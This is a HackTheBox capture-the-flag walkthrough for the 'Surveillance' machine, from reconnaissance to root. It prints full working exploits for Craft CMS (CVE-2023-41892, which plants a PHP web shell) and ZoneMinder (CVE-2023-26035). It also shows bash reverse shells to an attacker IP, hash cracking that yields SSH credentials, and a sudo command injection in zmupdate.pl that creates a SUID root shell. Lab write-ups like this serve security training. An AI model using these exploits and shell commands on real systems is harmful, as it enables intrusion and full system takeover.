Surveillance – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘Surveillance’ Avatar


User Link to heading

Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP

❯ sudo nmap -sVC -p22,80 10.10.11.245 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 17:52 -04
Nmap scan report for 10.10.11.245
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds

If we try to visit HTTP server running on port 80 at http://10.10.11.245 I got redirected to http://surveillance.htb. For this reason we simply add surveillance.htb to our /etc/hosts file running:

❯ sudo echo '10.10.11.245 surveillance.htb' >> /etc/hosts

Once added that domain to our /etc/hosts file, if we revisit http://surveillance.htb we can see the page:

Surveillance_1.png

Many of the buttons in this page does not simply work, so I suspect that there is nothing to find here.

I note that if I visit /index.php it shows the default site, so I assume it is running using PHP. If I attempt a Brute Force Directory Listing using Gobuster, searching also for .php files, I find some directories:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://surveillance.htb -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/index                (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 16230]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p1                   (Status: 200) [Size: 16230]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/p3                   (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]

and I find an interesting directory: /admin redirects to /admin/login directory. There is a bunch of directories called p<number> like p1, p20 and so on… but they all redirect to index.php, so I discard them.

I visit http://surveillance.htb/admin/login and it shows a login panel: Surveillance_2.png

So it says it is running Craft CMS, a Content Management System –or CMS– (like it would be, for example, WordPress).

If I search for exploits for this CMS using SearchSploit I can find some:

❯ searchsploit craft cms

--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting               | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure     | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting            | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting        | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Temp | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execut | php/webapps/48492.py
craftercms 4.x.x - CORS                            | multiple/webapps/51313.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results

However, I still do not have the version

If I look the source code of http://surveillance.htb I can see something:

Surveillance_3.png

so I assume the version of Craft CMS running is 4.4.14, which sadly do not match with any version shown by SearchSploit exploits.

But if I just Google Craft CMS 4.4 exploit I find that there is a vulnerability labeled as CVE-2023-41892. I also find two interesting sites. One is an exploit from exploit-db (https://www.exploit-db.com/exploits/51918) and the other is from this Github post. I will use the last one, which is:

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/shell.php">
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})    

def shell(cmd):
    response = requests.get(url + "/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

If I run the script nothing happens:

❯ python3 CVE_2023_41892.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Crash the php process and write temp file successfully
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$ whoami

Then in this Github post, and also in this post, they show another PoC, but in one of the figures they also use a proxy with Burpsuite to make it work:

Surveillance_4.png

To fix this, in every line in the script where the variable response is set, we have to add a proxy to htttp://127.0.0.1:8080. Burpsuite, by default, intercepts requests on port 8080 in our machine. So adding this we will be sending the requests made by the Python script through Burpsuite. For this I change the lines that says, for example:

response = requests.get(url + "/shell.php", params={"cmd": cmd})

to

response = requests.get(url + "/shell.php", params={"cmd": cmd}, proxies={"http", "http://127.0.0.1:8080"})

We repeat this for every response.get and response.post variables.

The final modified code to work along with Burpsuite looks then like:

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php">
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://127.0.0.1:8080"})

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})    

def shell(cmd):
    response = requests.get(base_url + "/cpresources/shell.php", params={"cmd": cmd}, proxies={"http": "http://127.0.0.1:8080"})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        base_url = 'http://surveillance.htb'
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Before re-running the modified script, start a Burpsuite and go to Proxy -> Intercept -> Intercept On. First, I tried this against http://surveillance.htb/admin/login page, since Craft CMS was exposed on that page. If I run the script:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login

I can see that Burpsuite successfully intercepts the request through the modified python3 script:

Surveillance_5.png

and, after this, is just click on Forward as the script makes the requests.

However, when I run this I notice that my script did not work:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$

If I check Burpsuite history (Proxy -> Intercept -> HTTP History) I notice that we have a code 502 Bad Gateway, i.e., we are trying a POST request against an endpoint that does not exist.

Surveillance_6.png

So, instead of http://surveillance.htb/admin/login I just try against the url http://surveillance.htb and now it works:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I start a nc listener on port 443 and, then, in the obtained shell I run the command bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1', so it looks like:

❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/

[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'

and in my nc listener I get a reverse shell:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 44376
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ whoami
whoami
www-data

Once inside the machine as www-data I can see two users, matthew and zoneminder:

www-data@surveillance:~/html/craft/web/cpresources$ ls /home

matthew  zoneminder

If I search for files that have the word back (for backup) at /var/www/html/craft I can see some:

www-data@surveillance:~/html/craft$ find . -name "*back*" 2>/dev/null

./storage/backups
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html
./vendor/voku/arrayy/src/TypeCheck/TypeCheckCallback.php
./vendor/voku/anti-xss/src/voku/helper/data/entities_fallback.php
./vendor/nette/utils/src/Utils/Callback.php
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/callback.twig
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/modal-callback.twig
./vendor/craftcms/cms/src/web/assets/dbbackup
./vendor/craftcms/cms/src/web/twig/nodes/FallbackNameExpression.php
./vendor/craftcms/cms/src/imagetransforms/FallbackTransformer.php
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/utilities/_background.scss
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/mixins/_background-variant.scss
./vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php

So there is a directory /var/www/html/craft/storage/backups that looks interesting. Inside this directory I check what is its content:

www-data@surveillance:~/html/craft/storage/backups$ ls -la

total 28
drwxrwxr-x 2 www-data www-data  4096 Oct 17  2023 .
drwxr-xr-x 6 www-data www-data  4096 Oct 11  2023 ..
-rw-r--r-- 1 root     root     19918 Oct 17  2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip

Since the victim server has python3 installed I will start a temporal Python HTTP server on port 8000 of the victim machine, expose the backup and then download it. So in the target machine I run:

www-data@surveillance:~/html/craft/storage/backups$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and pass it to my machine running:

❯ wget http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip

--2024-04-18 20:12:54--  http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Resolving surveillance.htb (surveillance.htb)... 10.10.11.245
Connecting to surveillance.htb (surveillance.htb)|10.10.11.245|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19918 (19K) [application/zip]
Saving to: ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’

surveillance--2023-10-17-202801--v4.4.14.s 100%[=======================================================================================>]  19.45K  75.1KB/s    in 0.3s

2024-04-18 20:12:54 (75.1 KB/s) - ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’ saved [19918/19918]

Then, on my machine, I just read this file with cat and there is a lot of output. But there is one line that calls my attention:

❯ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i "matthew"

INSERT INTO `searchindex` VALUES (1,'email',0,1,' admin surveillance htb '),(1,'firstname',0,1,' matthew '),(1,'fullname',0,1,' matthew b '),(1,'lastname',0,1,' b '),(1,'slug',0,1,''),(1,'username',0,1,' admin '),(2,'slug',0,1,' home '),(2,'title',0,1,' home '),(7,'slug',0,1,' coming soon '),(7,'title',0,1,' coming soon ');
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec looks like a hash.

I save this hash and pass it to Crackstation (https://crackstation.net/) to attempt a Brute Force Password Cracking:

Surveillance_7.png

and we find a password: starcraft122490

I check with NetExec if I have access to matthew user via SSH and we do:

❯ netexec ssh 10.10.11.245 -u 'matthew' -p 'starcraft122490'

SSH         10.10.11.245    22     10.10.11.245     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4
SSH         10.10.11.245    22     10.10.11.245     [+] matthew:starcraft122490  (non root) Linux - Shell access!

So we can access via SSH with credentials matthew:starcraft122490, where we can get the flag at matthew home.

Root Link to heading

Once inside, if I search for local ports open I can see a couple that were not previously registered:

matthew@surveillance:~$ ss -ntlp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   80                                   127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   511                                  127.0.0.1:8080                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

So we have a MySQL running on port 3306 (as usual), and something running on port 8080

To check if it is a service that can be displayed through an internet browser such as Firefox, I like to first use cURL and check the output:

matthew@surveillance:~$ curl -s http://127.0.0.1:8080

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>ZM - Login</title>
<SNIP>
var failed = false;
  </script>
  <script src="skins/classic/views/js/login.js"></script>
  <script src="skins/classic/js/skin.js"></script>
  <script src="js/logger.js"></script>
  <script nonce="f3e94bd4e8a1388222a111d79663f97d">$j('.chosen').chosen();</script>
  <script nonce="f3e94bd4e8a1388222a111d79663f97d">CsrfMagic.end();</script></body>
</html>

Since we have some output, I suspect it is a site.

To be able to visit this site, and since we have SSH credentials, I will try a Local Port Forwarding. I log out from my current SSH session, and re-connect to the target machine via SSH, but this time I will also add -L 1234:127.0.0.1:8080:

❯ sshpass -p 'starcraft122490' ssh -o stricthostkeychecking=no -L 1234:127.0.0.1:8080 matthew@10.10.11.245

With this I convert my localhost port 1234 into the target port 8080.

So now I open an internet browser (in my case I use Firefox) and visit http://127.0.0.1:1234. And I can see a webpage:

Surveillance_8.png

Apparently, this site is running ZoneMinder

Info
ZoneMinder is a free, open-source software application for monitoring.

To check the version, we can run:

matthew@surveillance:~$ dpkg -l | grep zoneminder

hi  zoneminder                            1.36.32+dfsg1-1                         amd64        video camera security and surveillance solution

so the version is 1.36.32

Using SearchSploit I look for ZoneMinder exploits:

❯ searchsploit zoneminder

-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
ZoneMinder 1.24.3 - Remote File Inclusion               | php/webapps/17593.txt
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injec | php/webapps/41239.txt
ZoneMinder 1.32.3 - Cross-Site Scripting                | php/webapps/47060.txt
Zoneminder < v1.37.24 - Log Injection & Stored XSS & CS | php/webapps/51071.py
ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE    | php/webapps/51902.py
ZoneMinder Video Server - packageControl Command Execut | unix/remote/24310.rb
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Exploit 51902 looks promising, since it fits with our version.

Looking at the exploit we have to run it in our machine, since it requires a not built-in python3 library (BeautifulSoap). But this is no problem since we have the Local Port Forwarding established. The exploit is:

import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035


class ZoneMinderExploit:
    def __init__(self, target_uri):
        self.target_uri = target_uri
        self.csrf_magic = None

    def fetch_csrf_token(self):
        print("[>] fetching csrt token")
        response = requests.get(self.target_uri)
        self.csrf_magic = self.get_csrf_magic(response)
        if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
            print(f"[>] recieved the token: {self.csrf_magic}")
            return True
        print("[!] unable to fetch or parse token.")
        return False

    def get_csrf_magic(self, response):
        return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

    def execute_command(self, cmd):
        print("[>] sending payload..")
        data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
        response = requests.post(f"{self.target_uri}/index.php", data=data)
        print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

    def exploit(self, payload):
        if self.fetch_csrf_token():
            print(f"[>] executing...")
            self.execute_command(payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
    parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
    parser.add_argument('-p', '--port', required=True, help='port')
    args = parser.parse_args()

    # generating the payload
    ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
    ps2 = base64.b64encode(ps1.encode()).decode()
    payload = f"echo {ps2} | base64 -d | /bin/bash"

    ZoneMinderExploit(args.target_url).exploit(payload)

and it sends directly a reverse shell to an IP and listening port.

So I start, in another shell, a listener with nc on port 443 and run:

❯ python3 zoneminder_snapshot_unauth_rce.py -t http://127.0.0.1:1234 -ip 10.10.16.6 -p 443

[>] fetching csrt token
[>] recieved the token: key:0bfb5b839801ff10b9a9a6d91775fcd0e69aeecc,1713488472
[>] executing...
[>] sending payload..

and in my nc listener I get:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 43902
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ whoami
whoami
zoneminder

Once in as zoneminder user, I can see it can run a command without password as sudo:

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l

Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

So we can run any file that starts with zm, then have letters (so we cannot use ../) and ends with .pl (i.e., it is a Perl script) inside /usr/bin folder. Basically the script says that the file must start with /usr/bin/zm, then only letters, and end with .pl. If I check the files I can see:

zoneminder@surveillance:/usr/share/zoneminder/www$ find /usr/bin -name "zm*.pl" -exec ls -la {} \; 2>/dev/null

-rwxr-xr-x 1 root root 5340 Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 5640 Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 8205 Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 13111 Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 2133 Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 19386 Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 7022 Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 4815 Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 18482 Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 19655 Nov 23  2022 /usr/bin/zmx10.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 17492 Nov 23  2022 /usr/bin/zmrecover.pl

so we can run any of these files as root.

After checking some files I find /usr/bin/zmupdate.pl. If we just run it we get:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl

Database already at version 1.36.32, update skipped.

but checking its options I can see:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --help

Unknown option: help
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user

so, even if --help option does not exists, it helped me. There is a -v or --version that asks for a version.

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

<SNIP>

Upgrading DB to 1.30.1 from 1.26.0
ERROR 1136 (21S01) at line 8: Column count doesn't match value count at row 1
Output:
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1

so it worked, but throw an error at the end.

I also note that this script asks for a user and a password (possibly for the database). If I pass a user and a password that are commands, there is an output that is interpreting it:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(id)' -p='$(whoami)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user 'uid=0(root)'@'localhost'" when trying to connect
Output:
<SNIP>

so it is interpreting my code as --user parameter.

Therefore, I decide to inject:

zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x)' -p='$(whoami)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-p$(whoami)'@'localhost'" when trying to connect
Output:
Command 'mysqldump -u$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x) -p'$(whoami)' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2

so, basically, I create a copy of /usr/bin/bash called /tmp/gunzf0x and, to the copied file, assign to it 4755 permissions.

I decide to check /tmp directory and this worked:

zoneminder@surveillance:/tmp$ ls -la /tmp
total 1468
drwxrwxrwt 14 root       root          4096 Apr 19 01:48 .
drwxr-xr-x 18 root       root          4096 Nov  9 13:19 ..
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .ICE-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .Test-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .X11-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .XIM-unix
drwxrwxrwt  2 root       root          4096 Apr 18 21:49 .font-unix
-rwsr-xr-x  1 root       root       1396520 Apr 19 01:46 gunzf0x
<SNIP>

So I finally just execute /tmp/gunzf0x -p and become root:

zoneminder@surveillance:/tmp$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

and we can read the root flag at /root directory.

~Happy Hacking